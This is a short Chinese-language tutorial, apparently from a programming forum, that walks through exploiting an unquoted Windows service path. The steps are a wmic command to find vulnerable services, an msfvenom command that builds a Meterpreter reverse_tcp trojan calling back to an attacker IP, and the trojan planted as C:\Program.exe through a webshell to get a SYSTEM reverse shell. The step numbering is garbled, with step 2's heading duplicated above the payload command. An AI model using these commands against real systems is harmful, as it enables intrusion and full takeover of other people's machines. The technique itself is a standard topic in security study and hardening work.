不帶引號服務路徑提權原理及演示
一、介紹
1.漏洞簡介:
當建立可執行路徑包含空格且未包含在引號內的服務時,會導致稱為未引用服務路徑的漏洞,該漏洞允許使用者獲得SYSTEM許可權(當易受攻擊的服務以 SYSTEM 許可權執行時)。
2.漏洞原理:
在 Windows 中,如果服務沒有用引號括起來並且有空格,它會將空格作為中斷處理,並將服務路徑的其餘部分作為引數傳遞。
二、演示
環境準備:
靶機:騰訊雲伺服器 裝有phpstudy環境的Windows server 2012 IP地址:49。xxx。xxx。xxx
攻擊機:阿里雲伺服器 裝有msf的ubuntu系統 IP地址:101。xxx。xxx。xxx
1.上傳webshell後,開啟網站
2.輸入命令檢視呼叫執行程式時不帶引號的程式,從中挑選出帶空格的wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """選擇該程式檔案
2.輸入命令檢視呼叫執行程式時不帶引號的程式,從中挑選出帶空格的
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP地址 LPORT=4444 -f exe Program。exe
3.msf生成名為Program.exe的木馬,並開啟監聽
如果路徑包含空格並且沒有用引號引起來,Windows API 必須假定在哪裡可以找到引用的應用程式。服務會按照以下順序依次執行
C:\Program。exe
C:\Program Files\qcloud\tat_agent\tat_agent。exe
所以將木馬命名為Program。exe,並將其放在C盤根目錄,會使其優先執行
為什麼要命名為Program.exe?
4.利用webshell將該木馬上傳至靶機c盤根目錄
我們透過webshell是無法啟動服務的,實戰中可以使管理員重啟伺服器,服務就能被開啟了。
這裡我們模擬管理員啟動該服務
5.在靶機啟動該服務,攻擊機收到反彈shell
6.檢視許可權,成功提權
歡迎加入我愛程式設計學習論壇。
網址www。woaibiancheng。cn